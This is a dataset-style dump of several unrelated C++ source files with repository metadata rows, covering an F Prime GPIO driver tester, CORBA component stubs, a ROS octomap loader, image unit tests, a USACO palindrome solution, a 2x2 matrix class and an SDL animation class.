Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 1,_numArgs,1);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_ACTIVITY_HI_GP_PortOpened(gpio);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_INTSTARTERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 1,_numArgs,1);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_IntStartError(gpio);
break;
}
case LinuxGpioDriverComponentBase::EVENTID_GP_INTWAITERROR:
{
Fw::SerializeStatus _status = Fw::FW_SERIALIZE_OK;
#if FW_AMPCS_COMPATIBLE
// Deserialize the number of arguments.
U8 _numArgs;
_status = args.deserialize(_numArgs);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
// verify they match expected.
FW_ASSERT(_numArgs == 1,_numArgs,1);
#endif
I32 gpio;
#if FW_AMPCS_COMPATIBLE
{
// Deserialize the argument size
U8 _argSize;
_status = args.deserialize(_argSize);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
FW_ASSERT(_argSize == sizeof(I32),_argSize,sizeof(I32));
}
#endif
_status = args.deserialize(gpio);
FW_ASSERT(
_status == Fw::FW_SERIALIZE_OK,
static_cast<AssertArg>(_status)
);
this->logIn_WARNING_HI_GP_IntWaitError(gpio);
break;
}
default: {
FW_ASSERT(0, id);
break;
}
}
}
void LinuxGpioDriverTesterBase ::
clearEvents(void)
{
this->eventsSize = 0;
this->eventHistory_GP_OpenError->clear();
this->eventHistory_GP_ConfigError->clear();
this->eventHistory_GP_WriteError->clear();
this->eventHistory_GP_ReadError->clear();
this->eventHistory_GP_PortOpened->clear();
this->eventHistory_GP_IntStartError->clear();
this->eventHistory_GP_IntWaitError->clear();
}
#if FW_ENABLE_TEXT_LOGGING
// ----------------------------------------------------------------------
// Text events
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
textLogIn(
const U32 id,
Fw::Time &timeTag,
const Fw::TextLogSeverity severity,
const Fw::TextLogString &text
)
{
TextLogEntry e = { id, timeTag, severity, text };
textLogHistory->push_back(e);
}
void LinuxGpioDriverTesterBase ::
printTextLogHistoryEntry(
const TextLogEntry& e,
FILE* file
)
{
const char *severityString = "UNKNOWN";
switch (e.severity) {
case Fw::LOG_FATAL:
severityString = "FATAL";
break;
case Fw::LOG_WARNING_HI:
severityString = "WARNING_HI";
break;
case Fw::LOG_WARNING_LO:
severityString = "WARNING_LO";
break;
case Fw::LOG_COMMAND:
severityString = "COMMAND";
break;
case Fw::LOG_ACTIVITY_HI:
severityString = "ACTIVITY_HI";
break;
case Fw::LOG_ACTIVITY_LO:
severityString = "ACTIVITY_LO";
break;
case Fw::LOG_DIAGNOSTIC:
severityString = "DIAGNOSTIC";
break;
default:
severityString = "SEVERITY ERROR";
break;
}
fprintf(
file,
"EVENT: (%d) (%d:%d,%d) %s: %s\n",
e.id,
const_cast<TextLogEntry&>(e).timeTag.getTimeBase(),
const_cast<TextLogEntry&>(e).timeTag.getSeconds(),
const_cast<TextLogEntry&>(e).timeTag.getUSeconds(),
severityString,
e.text.toChar()
);
}
void LinuxGpioDriverTesterBase ::
printTextLogHistory(FILE *file)
{
for (U32 i = 0; i < this->textLogHistory->size(); ++i) {
this->printTextLogHistoryEntry(
this->textLogHistory->at(i),
file
);
}
}
#endif
// ----------------------------------------------------------------------
// Event: GP_OpenError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_OpenError(
I32 gpio,
I32 error
)
{
EventEntry_GP_OpenError e = {
gpio, error
};
eventHistory_GP_OpenError->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_ConfigError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_ConfigError(
I32 gpio,
I32 error
)
{
EventEntry_GP_ConfigError e = {
gpio, error
};
eventHistory_GP_ConfigError->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_WriteError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_WriteError(
I32 gpio,
I32 error
)
{
EventEntry_GP_WriteError e = {
gpio, error
};
eventHistory_GP_WriteError->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_ReadError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_ReadError(
I32 gpio,
I32 error
)
{
EventEntry_GP_ReadError e = {
gpio, error
};
eventHistory_GP_ReadError->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_PortOpened
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_ACTIVITY_HI_GP_PortOpened(
I32 gpio
)
{
EventEntry_GP_PortOpened e = {
gpio
};
eventHistory_GP_PortOpened->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_IntStartError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_IntStartError(
I32 gpio
)
{
EventEntry_GP_IntStartError e = {
gpio
};
eventHistory_GP_IntStartError->push_back(e);
++this->eventsSize;
}
// ----------------------------------------------------------------------
// Event: GP_IntWaitError
// ----------------------------------------------------------------------
void LinuxGpioDriverTesterBase ::
logIn_WARNING_HI_GP_IntWaitError(
I32 gpio
)
{
EventEntry_GP_IntWaitError e = {
gpio
};
eventHistory_GP_IntWaitError->push_back(e);
++this->eventsSize;
}
} // end namespace Drv
| 27.287719 | 86 | 0.558538 | lydiaxing |
4e60a8c9468d851ebdfeba874b5a922e5568ca27 | 818 | cpp | C++ | projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp | vlmillet/Phantom.Code | 05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3 | [
"MIT"
] | null | null | null | projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp | vlmillet/Phantom.Code | 05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3 | [
"MIT"
] | null | null | null | projects/Phantom.Code/phantom/lang/TemplateParameterPackTypeExpansion.cpp | vlmillet/Phantom.Code | 05ed65bc4a456e76da4b2d9da1fe3dabe64ba1b3 | [
"MIT"
] | null | null | null | #include "TemplateParameterPackTypeExpansion.h"
#include "TemplateParameterPackExpansion.h"
#include <phantom/lang/PlaceholderType.h>
namespace phantom
{
namespace lang
{
TemplateParameterPackTypeExpansion::TemplateParameterPackTypeExpansion(TemplateParameterPackExpansion* a_pExpansion)
: Type(TypeKind::Unknown, a_pExpansion->getPackArgument()->asSymbol()->getName(), 0, 0,
a_pExpansion->getPackArgument()->asSymbol()->getModifiers(), PHANTOM_R_FLAG_TEMPLATE_DEPENDANT),
m_pExpansion(a_pExpansion)
{
PHANTOM_ASSERT(m_pExpansion->getPackArgument()->asPlaceholderType());
}
phantom::lang::PlaceholderType* TemplateParameterPackTypeExpansion::getPackArgument() const
{
return static_cast<PlaceholderType*>(m_pExpansion->getPackArgument());
}
} // namespace lang
} // namespace phantom
| 31.461538 | 116 | 0.789731 | vlmillet |
4e63b3b97b000b0b110886de85342ef1e62f4211 | 138 | inl | C++ | src/libs/dependency_graph/nodes.inl | martin-pr/possumwood | 0ee3e0fe13ef27cf14795a79fb497e4d700bef63 | [
"MIT"
] | 232 | 2017-10-09T11:45:28.000Z | 2022-03-28T11:14:46.000Z | src/libs/dependency_graph/nodes.inl | LIUJUN-liujun/possumwood | 745e48eb44450b0b7f078ece81548812ab1ccc63 | [
"MIT"
] | 26 | 2019-01-20T21:38:25.000Z | 2021-10-16T03:57:17.000Z | src/libs/dependency_graph/nodes.inl | LIUJUN-liujun/possumwood | 745e48eb44450b0b7f078ece81548812ab1ccc63 | [
"MIT"
] | 33 | 2017-10-26T19:20:38.000Z | 2022-03-16T11:21:43.000Z | #pragma once
#include "graph.h"
#include "node_base.inl"
#include "nodes.h"
#include "nodes_iterator.inl"
namespace dependency_graph {}
| 15.333333 | 29 | 0.753623 | martin-pr |
4e63d36b706dd7c73e89ddfb096bcb734762b537 | 3,343 | cpp | C++ | ccm/test/TEST_CCM_COMPLIANCE/facet_test/src/CCM_test_impl.cpp | anjingbin/starccm | 70db48004aa20bbb82cc24de80802b40c7024eff | [
"BSD-3-Clause"
] | 2 | 2020-01-06T07:43:30.000Z | 2020-07-11T20:53:53.000Z | ccm/test/TEST_CCM_COMPLIANCE/facet_test/src/CCM_test_impl.cpp | anjingbin/starccm | 70db48004aa20bbb82cc24de80802b40c7024eff | [
"BSD-3-Clause"
] | null | null | null | ccm/test/TEST_CCM_COMPLIANCE/facet_test/src/CCM_test_impl.cpp | anjingbin/starccm | 70db48004aa20bbb82cc24de80802b40c7024eff | [
"BSD-3-Clause"
] | null | null | null | // **********************************************************************
//
// Generated by the CIDL Translator
//
// Copyright (c) 2001-2004
// StarMiddleware Group
// www.StarMiddleware.net
//
// All Rights Reserved
//
// Author: Huang Jie huangjie@email.com
// Author: Chang Junsheng cjs7908@163.com
// Author: Zhen Xianrong
//
// **********************************************************************
#include <CORBA.h>
#include <CCM_test_impl.h>
#ifdef HAVE_STD_IOSTREAM
using namespace std;
#endif
Test::TalkImpl::CCM_Talk_impl::CCM_Talk_impl()
{
}
Test::TalkImpl::CCM_Talk_impl::~CCM_Talk_impl()
{
}
void
Test::TalkImpl::CCM_Talk_impl::configuration_complete()
{
}
void
Test::TalkImpl::CCM_Talk_impl::set_session_context(Components::SessionContext* ctx)
throw(Components::CCMException,
CORBA::SystemException)
{
#ifdef TAO
ctx_ = Test::CCM_Talk_Context::_duplicate(dynamic_cast<Test::CCM_Talk_Context*>(ctx));
#else
ctx_ = Test::CCM_Talk_Context::_narrow(ctx);
#endif
}
void
Test::TalkImpl::CCM_Talk_impl::ccm_activate()
throw(Components::CCMException,
CORBA::SystemException)
{
}
void
Test::TalkImpl::CCM_Talk_impl::ccm_passivate()
throw(Components::CCMException,
CORBA::SystemException)
{
}
void
Test::TalkImpl::CCM_Talk_impl::ccm_remove()
throw(Components::CCMException,
CORBA::SystemException)
{
}
char*
Test::TalkImpl::CCM_Talk_impl::sayHello()
throw(CORBA::SystemException)
{
// TODO: Implementation
char* _r = CORBA::string_dup("Hello!");
return _r;
}
Test::TalkImpl::CCM_TalkHome_impl::CCM_TalkHome_impl()
{
}
Test::TalkImpl::CCM_TalkHome_impl::~CCM_TalkHome_impl()
{
}
Components::EnterpriseComponent_ptr
Test::TalkImpl::CCM_TalkHome_impl::create()
throw(Components::CCMException,
CORBA::SystemException)
{
return new Test::TalkImpl::CCM_Talk_impl();
}
char*
Test::TalkImpl::CCM_TalkHome_impl::get_storage_home_id()
{
return 0;
}
Test::PersonImpl::CCM_Person_impl::CCM_Person_impl()
{
}
Test::PersonImpl::CCM_Person_impl::~CCM_Person_impl()
{
}
void
Test::PersonImpl::CCM_Person_impl::configuration_complete()
{
}
void
Test::PersonImpl::CCM_Person_impl::set_session_context(Components::SessionContext* ctx)
throw(Components::CCMException,
CORBA::SystemException)
{
#ifdef TAO
ctx_ = Test::CCM_Person_Context::_duplicate(dynamic_cast<Test::CCM_Person_Context*>(ctx));
#else
ctx_ = Test::CCM_Person_Context::_narrow(ctx);
#endif
}
void
Test::PersonImpl::CCM_Person_impl::ccm_activate()
throw(Components::CCMException,
CORBA::SystemException)
{
}
void
Test::PersonImpl::CCM_Person_impl::ccm_passivate()
throw(Components::CCMException,
CORBA::SystemException)
{
}
void
Test::PersonImpl::CCM_Person_impl::ccm_remove()
throw(Components::CCMException,
CORBA::SystemException)
{
}
Test::PersonImpl::CCM_PersonHome_impl::CCM_PersonHome_impl()
{
}
Test::PersonImpl::CCM_PersonHome_impl::~CCM_PersonHome_impl()
{
}
Components::EnterpriseComponent_ptr
Test::PersonImpl::CCM_PersonHome_impl::create()
throw(Components::CCMException,
CORBA::SystemException)
{
return new Test::PersonImpl::CCM_Person_impl();
}
char*
Test::PersonImpl::CCM_PersonHome_impl::get_storage_home_id()
{
return 0;
}
| 19.549708 | 94 | 0.688005 | anjingbin |
4e653639daa6beee22a901dfe4dd8209fc3d41f7 | 712 | cpp | C++ | src/example_octomap_load.cpp | dringakn/ROSExamples | f4f19d21fab3630c112148e198f117f0466032c4 | [
"MIT"
] | 2 | 2020-07-14T19:37:43.000Z | 2020-07-15T04:38:09.000Z | src/example_octomap_load.cpp | dringakn/ROSExamples | f4f19d21fab3630c112148e198f117f0466032c4 | [
"MIT"
] | null | null | null | src/example_octomap_load.cpp | dringakn/ROSExamples | f4f19d21fab3630c112148e198f117f0466032c4 | [
"MIT"
] | null | null | null | /*
Author: Dr. Ing. Ahmad Kamal Nasir
Email: dringakn@gmail.com
Description:
*/
#include <octomap/octomap.h>
#include <octomap_msgs/Octomap.h>
#include <octomap_msgs/conversions.h>
#include <ros/ros.h>
int main(int argc, char* argv[]) {
ros::init(argc, argv, "load_octomap");
ros::NodeHandle nh("~");
std::string file_name;
nh.param<std::string>("map_file", file_name, "");
octomap::OcTree ot(file_name);
octomap_msgs::Octomap msg;
msg.header.frame_id = "map";
msg.header.stamp = ros::Time(0);
octomap_msgs::binaryMapToMsg(ot, msg);
ros::Publisher pubOcto;
pubOcto = nh.advertise<octomap_msgs::Octomap>("/octomap", 1, true);
pubOcto.publish(msg);
ros::spin();
return 0;
} | 27.384615 | 69 | 0.68118 | dringakn |
4e67c9faa97cb01e092cbacddd432f2e5fbf69a4 | 5,377 | cpp | C++ | test/test_image.cpp | jamesdsmith/berkeley_sfm | de3ae6b104602c006d939b1f3da8c497b86d39ff | [
"BSD-3-Clause"
] | 21 | 2016-01-14T13:52:11.000Z | 2022-01-03T19:30:33.000Z | test/test_image.cpp | jamesdsmith/berkeley_sfm | de3ae6b104602c006d939b1f3da8c497b86d39ff | [
"BSD-3-Clause"
] | 4 | 2015-10-17T17:01:46.000Z | 2015-10-22T20:59:43.000Z | test/test_image.cpp | erik-nelson/berkeley_sfm | 5bf0b45fac176ff7abfca0ff690893c1afc73c51 | [
"BSD-3-Clause"
] | 7 | 2016-01-22T06:23:59.000Z | 2018-01-16T03:54:33.000Z | /*
* Copyright (c) 2015, The Regents of the University of California (Regents).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Please contact the author(s) of this library if you have any questions.
* Authors: Erik Nelson ( eanelson@eecs.berkeley.edu )
* David Fridovich-Keil ( dfk@eecs.berkeley.edu )
*/
#include <image/image.h>
#include <strings/join_filepath.h>
#include <gflags/gflags.h>
#include <gtest/gtest.h>
DEFINE_string(testing_image_file, "lenna.png",
"Name of the image used for testing.");
namespace bsfm {
using Eigen::MatrixXf;
const std::string test_image =
strings::JoinFilepath(BSFM_TEST_DATA_DIR, FLAGS_testing_image_file.c_str());
TEST(Image, TestLoadImage) {
// Load an OpenCV image and convert it to floating point RGB.
cv::Mat image1 =
cv::imread(test_image.c_str(), CV_LOAD_IMAGE_COLOR);
cv::cvtColor(image1, image1, CV_BGR2RGB);
// Load the same image in our format.
Image image2(test_image.c_str());
size_t w = image1.cols;
size_t h = image1.rows;
EXPECT_EQ(w, image2.Width());
EXPECT_EQ(h, image2.Height());
for (size_t c = 0; c < w; ++c)
for (size_t r = 0; r < h; ++r)
EXPECT_EQ(image1.at<cv::Vec3b>(r, c), image2.at<cv::Vec3b>(r, c));
}
TEST(Image, TestResize) {
Image image(test_image.c_str());
image.Resize(256, 256);
EXPECT_EQ(256, image.Width());
EXPECT_EQ(256, image.Height());
image.Resize(2.0);
EXPECT_EQ(512, image.Width());
EXPECT_EQ(512, image.Height());
}
TEST(Image, TestConvertColor) {
Image image(test_image.c_str());
EXPECT_EQ(3, image.Channels());
image.ConvertToGrayscale();
EXPECT_EQ(1, image.Channels());
image.ConvertToRGB();
EXPECT_EQ(3, image.Channels());
for (size_t c = 0; c < image.Width(); ++c) {
for (size_t r = 0; r < image.Height(); ++r) {
cv::Vec3b pixel = image.at<cv::Vec3b>(r, c);
EXPECT_EQ(pixel[0], pixel[1]);
EXPECT_EQ(pixel[1], pixel[2]);
}
}
}
TEST(Image, TestCopy) {
Image image1(test_image.c_str());
Image image2(image1);
Image image3 = image1;
for (size_t c = 0; c < image1.Width(); ++c) {
for (size_t r = 0; r < image1.Height(); ++r) {
EXPECT_EQ(image1.at<cv::Vec3b>(r, c), image2.at<cv::Vec3b>(r, c));
EXPECT_EQ(image2.at<cv::Vec3b>(r, c), image3.at<cv::Vec3b>(r, c));
}
}
}
TEST(Image, TestLoadFromOpenCVMat) {
// Load an OpenCV image and convert it to floating point RGB.
cv::Mat image1 = cv::imread(test_image.c_str(), CV_LOAD_IMAGE_COLOR);
// Load the same image in our format.
Image image2(test_image.c_str());
// Copy the OpenCV image to make a third image.
Image image3(image1);
// Check for equality.
for (size_t c = 0; c < image2.Width(); ++c)
for (size_t r = 0; r < image2.Width(); ++r)
EXPECT_EQ(image2.at<cv::Vec3b>(r, c), image3.at<cv::Vec3b>(r, c));
}
TEST(Image, TestEigen) {
Image image(test_image.c_str());
// Create an Eigen matrix from the image.
MatrixXf eigen_mat;
image.ToEigen(eigen_mat);
// Get the image in OpenCV format.
image.ConvertToGrayscale();
cv::Mat cv_image;
image.ToCV(cv_image);
// Convert to floating point.
// cv_image.convertTo(cv_image, CV_32F, 1.f / 255.f);
// Make sure that the two matrices are equivalent.
for (size_t c = 0; c < image.Width(); ++c)
for (size_t r = 0; r < image.Width(); ++r)
EXPECT_EQ(static_cast<int>(cv_image.at<unsigned char>(r, c)),
eigen_mat(r, c));
// Convert back from Eigen to OpenCV.
cv::Mat cv_image2;
EigenMatToOpenCV(eigen_mat, cv_image2);
// Make sure that the two matrices are equivalent.
for (size_t c = 0; c < image.Width(); ++c)
for (size_t r = 0; r < image.Width(); ++r)
EXPECT_EQ(static_cast<int>(cv_image.at<unsigned char>(r, c)),
cv_image2.at<float>(r, c));
}
} //\namespace bsfm
| 32.197605 | 80 | 0.675098 | jamesdsmith |
4e69b35cba10bea57a7cd7b40aeaaeaf3599ad8b | 930 | cpp | C++ | training/1-2-6-dualpal/cpp11/main.cpp | hsun324/usaco-solutions | 27f77911971513a4d2b1b820eaa09802acadfefa | [
"MIT"
] | 2 | 2015-12-26T21:20:12.000Z | 2017-12-19T00:11:45.000Z | training/1-2-6-dualpal/cpp11/main.cpp | hsun324/usaco-solutions | 27f77911971513a4d2b1b820eaa09802acadfefa | [
"MIT"
] | null | null | null | training/1-2-6-dualpal/cpp11/main.cpp | hsun324/usaco-solutions | 27f77911971513a4d2b1b820eaa09802acadfefa | [
"MIT"
] | null | null | null | /**
ID: <ID HERE>
LANG: C++11
TASK: dualpal
*/
#include <sstream>
#include <fstream>
#include <algorithm>
using namespace std;
char rebase_char(int digit) {
return digit + (digit < 10 ? '0' : 'A' - 10);
}
string rebase(int value, int base) {
stringstream result;
while (value > 0) {
result << rebase_char(value % base);
value /= base;
}
string reversed = result.str();
return string(reversed.rbegin(), reversed.rend());
}
bool palindromic(const string &str) {
return equal(str.begin(), str.begin() + (str.size() + 1) / 2, str.rbegin());
}
int main() {
ifstream cin("dualpal.in");
ofstream cout("dualpal.out");
int required, start;
cin >> required >> start;
for (int i = start + 1, count = 0; count < required; i++) {
for (int b = 2, n = 0; b <= 10; b++) {
if (palindromic(rebase(i, b))) {
if (n == 1) {
cout << i << endl;
count++;
break;
} else n = 1;
}
}
}
return 0;
}
| 17.884615 | 77 | 0.583871 | hsun324 |
4e72789fe0f4179ede17970482718b48f39d19da | 4,226 | cpp | C++ | cplusplus/Core/Matrix2.cpp | MozAntonio/MatrixKalQ_OOP-Project | 38b3621e765d07607b5351049277724c56b1a285 | [
"MIT"
] | null | null | null | cplusplus/Core/Matrix2.cpp | MozAntonio/MatrixKalQ_OOP-Project | 38b3621e765d07607b5351049277724c56b1a285 | [
"MIT"
] | null | null | null | cplusplus/Core/Matrix2.cpp | MozAntonio/MatrixKalQ_OOP-Project | 38b3621e765d07607b5351049277724c56b1a285 | [
"MIT"
] | null | null | null | /* Matrix2.cpp */
#include "Matrix2.h"
#include <stdexcept>
//Costruttore di default
Matrix2::Matrix2(): SquareMatrix(2) {}
//Costruttore a 1 param
// crea una matrice quadrata 2x2
// imposta tutti gli elem a init
Matrix2::Matrix2(double init): SquareMatrix(2, init) {}
Matrix2* Matrix2::clone() const {
return new Matrix2(*this);
}
Matrix2* Matrix2::sum_p(const MatrixBase* m) const {
const Matrix2* q = dynamic_cast<const Matrix2*>(m);
if(!q) //sono permesse somme solo tra un tipo (T1) e un suo sottotipo (T2) (T2<=T1)
throw std::invalid_argument("è possibile sommare ad una matrice 2x2 solo una matrice 2x2");
return new Matrix2(*this + *q);
}
Matrix2* Matrix2::dif_p(const MatrixBase* m) const {
const Matrix2* q = dynamic_cast<const Matrix2*>(m);
if(!q) //sono permesse differenze solo tra un tipo (T1) e un suo sottotipo (T2) (T2<=T1)
throw std::invalid_argument("è possibile sottrarre ad una matrice 2x2 solo una matrice 2x2");
return new Matrix2(*this - *q);
}
Matrix2* Matrix2::sProd_p(double scalar) const {
return new Matrix2((*this) * scalar);
}
Matrix2* Matrix2::trans_p() const {
return new Matrix2(trans()); //cioè: (*this).trans(); o this->trans();
}
Matrix2* Matrix2::prod_p(const SquareMatrix* m) const {
const Matrix2* q = dynamic_cast<const Matrix2*>(m);
if(!q) //sono permessi prodotti solo tra un tipo (T1) e un suo sottotipo (T2) (T2<=T1)
throw std::invalid_argument("è possibile moltiplicare una matrice 2x2 solo con una matrice 2x2");
return new Matrix2((*this) * (*q));
}
Matrix2* Matrix2::exp_p(unsigned int pot) const {
return new Matrix2(exp(pot)); //cioè: (*this).exp(pot); o this->exp(pot);
}
Matrix2* Matrix2::inv_p() const {
return new Matrix2(inv()); //cioè: (*this).inv; o this->inv;
}
Matrix2* Matrix2::adj_p() const {
return new Matrix2(adjoint()); //cioè: (*this).adjoint(); o this->adjoint();
}
double Matrix2::det() const {
return (at(0,0)*at(1,1) - at(0,1)*at(1,0));
}
double Matrix2::trace() const {
return at(0,0) + at(1,1);
}
Matrix2 Matrix2::operator-() const {
return ((*this)*(-1));
}
Matrix2 Matrix2::operator*(double scalar) const {
Matrix2 aux = Matrix2();
aux.at(0,0) = at(0,0) * scalar;
aux.at(0,1) = at(0,1) * scalar;
aux.at(1,0) = at(1,0) * scalar;
aux.at(1,1) = at(1,1) * scalar;
return aux;
}
Matrix2 Matrix2::trans() const {
Matrix2 aux = Matrix2();
aux.at(0,0) = at(0,0);
aux.at(1,1) = at(1,1);
aux.at(0,1) = at(1,0);
aux.at(1,0) = at(0,1);
return aux;
}
Matrix2 Matrix2::exp(unsigned int pot) const {
Matrix2 aux;
if(pot==0)
aux.setIdentity();
else
aux = *this;
for(unsigned int i=1; i<pot; ++i)
aux = aux * (*this);
return aux;
}
Matrix2 Matrix2::inv() const {
if(!isInvertible())
throw std::domain_error("matrice non invertibile");
Matrix2 aux = Matrix2();
aux.at(0,1) = (-1) * at(0,1);
aux.at(1,0) = (-1) * at(1,0);
aux.at(0,0) = at(1,1);
aux.at(1,1) = at(0,0);
return ((1/det()) * aux);
}
Matrix2 Matrix2::adjoint() const {
Matrix2 aux = Matrix2();
//Utilizzando la formula: "cof_i,j = (-1)^(i+j) * det(A_i,j)"
//Dove "det(A_i,j)" è l'elemento ottenuto eliminando la i-esima riga e la j-esima colonna dalla matrice A
// IDEA:
// cof_0,0 = (-1)^0 * at(1,1);
// cof_0,1 = (-1)^1 * at(1,0);
// cof_1,0 = (-1)^1 * at(0,1);
// cof_1,1 = (-1)^2 * at(0,0);
// cof_A = {{cof_0,0 , cof_0,1} , {cof_1,0 , cof_1,1}};
// return cof_A.trans();
aux.at(0,0) = at(1,1);
aux.at(1,1) = at(0,0);
aux.at(0,1) = -at(0,1);
aux.at(1,0) = -at(1,0);
return aux;
}
//Funzioni esterne:
Matrix2 operator+(const Matrix2& m1, const Matrix2& m2) {
Matrix2 aux = Matrix2();
aux.at(0,0) = m1.at(0,0) + m2.at(0,0);
aux.at(0,1) = m1.at(0,1) + m2.at(0,1);
aux.at(1,0) = m1.at(1,0) + m2.at(1,0);
aux.at(1,1) = m1.at(1,1) + m2.at(1,1);
return aux;
}
Matrix2 operator-(const Matrix2& m1, const Matrix2& m2) {
return (m1 + (-m2));
}
Matrix2 operator*(const Matrix2& m1, const Matrix2& m2) {
Matrix2 aux = Matrix2(0);
for(unsigned int i=0; i<2; ++i)
for(unsigned int j=0; j<2; ++j)
for(unsigned int k=0; k<2; ++k)
aux.at(i,j) = aux.at(i,j) + (m1.at(i,k) * m2.at(k,j));
return aux;
}
Matrix2 operator*(double scalar, const Matrix2& m) {
return m*scalar;
}
| 24.011364 | 106 | 0.624941 | MozAntonio |
4e72f428c7a241c34d03e60409783333f8b7f91b | 1,403 | cpp | C++ | ThePartingOfSarah/Animation.cpp | kriogenia/the-parting-of-sarah | 91cdd70f4beb1530652021ebb3a5d81c6e981e1a | [
"MIT"
] | null | null | null | ThePartingOfSarah/Animation.cpp | kriogenia/the-parting-of-sarah | 91cdd70f4beb1530652021ebb3a5d81c6e981e1a | [
"MIT"
] | 1 | 2021-01-03T15:21:45.000Z | 2021-01-03T15:21:45.000Z | ThePartingOfSarah/Animation.cpp | kriogenia/the-parting-of-sarah | 91cdd70f4beb1530652021ebb3a5d81c6e981e1a | [
"MIT"
] | null | null | null | #include "Animation.h"
Animation::Animation(string filename, float actorWidth, float actorHeight, float fileWidth,
float fileHeight, int updateFrequence, int totalFrames, bool loop, Game* game) :
actorWidth(actorWidth),
actorHeight(actorHeight),
fileWidth(fileWidth),
fileHeight(fileHeight),
updateFrequence(updateFrequence),
totalFrames(totalFrames),
loop(loop),
game(game),
updateTime(0),
currentFrame(0)
{
// Load texture
SDL_Surface* surface = IMG_Load(filename.c_str());
texture = SDL_CreateTextureFromSurface(game->renderer, surface);
// Calculate frame dimensiones
frameWidth = fileWidth / totalFrames;
frameHeight = fileHeight;
// Rectangle to show
source.x = 0;
source.y = 0;
source.w = frameWidth;
source.h = frameHeight;
}
bool Animation::update() {
updateTime++;
if (updateTime > updateFrequence) {
updateTime = 0;
currentFrame++;
if (currentFrame >= totalFrames) {
currentFrame = 0;
if (!loop) {
return true;
}
}
}
// Update frame rectangle
source.x = currentFrame * frameWidth;
return false;
}
void Animation::draw(float x, float y, float rotation) {
// Place to render
SDL_Rect destination;
destination.x = x - actorWidth / 2;
destination.y = y - actorHeight / 2;
destination.w = actorWidth;
destination.h = actorHeight;
SDL_RenderCopyEx(game->renderer,
texture, &source, &destination, rotation, NULL, SDL_FLIP_NONE);
}
| 23 | 92 | 0.722024 | kriogenia |
